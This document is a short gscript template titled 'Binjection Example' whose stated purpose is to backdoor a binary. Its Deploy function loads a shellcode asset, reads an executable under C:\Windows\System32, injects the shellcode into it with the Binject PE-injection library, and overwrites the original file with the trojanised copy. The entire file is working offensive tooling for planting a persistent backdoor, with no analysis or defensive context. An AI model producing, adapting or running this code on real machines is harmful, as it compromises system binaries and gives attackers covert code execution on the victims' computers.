Binjection example in gscript

binjection_example.gs

// Example gscript template
// Title: Binjection Example
// Author: ahhh
// Purpose: Replaces an existing binary with a copy that has been backdoored with shellcode
// Gscript version: 1.0.0
// ATT&CK: 

//priority:150
//timeout:150
//import:/tmp/loader.bin
//go_import:github.com/Binject/gbj as gbj

function Deploy() {  

    var target_path = "C:\\\\Windows\\System32\\target_binary.exe";
    

    // Getting our asset
    var shellcode = GetAssetAsBytes("loader.bin");
    console.log("errors: "+shellcode[1]);

    var target_file = G.file.ReadFileAsBytes(target_path);
    console.log("errors: "+target_file[1]);

    var injected = gbj.PeBinject(target_file[0], shellcode[0])
    console.log("errors: "+injected[1]);

    errors = G.file.WriteFileFromBytes(target_path, injected[0]);
    console.log("errors: "+errors);

    return true
}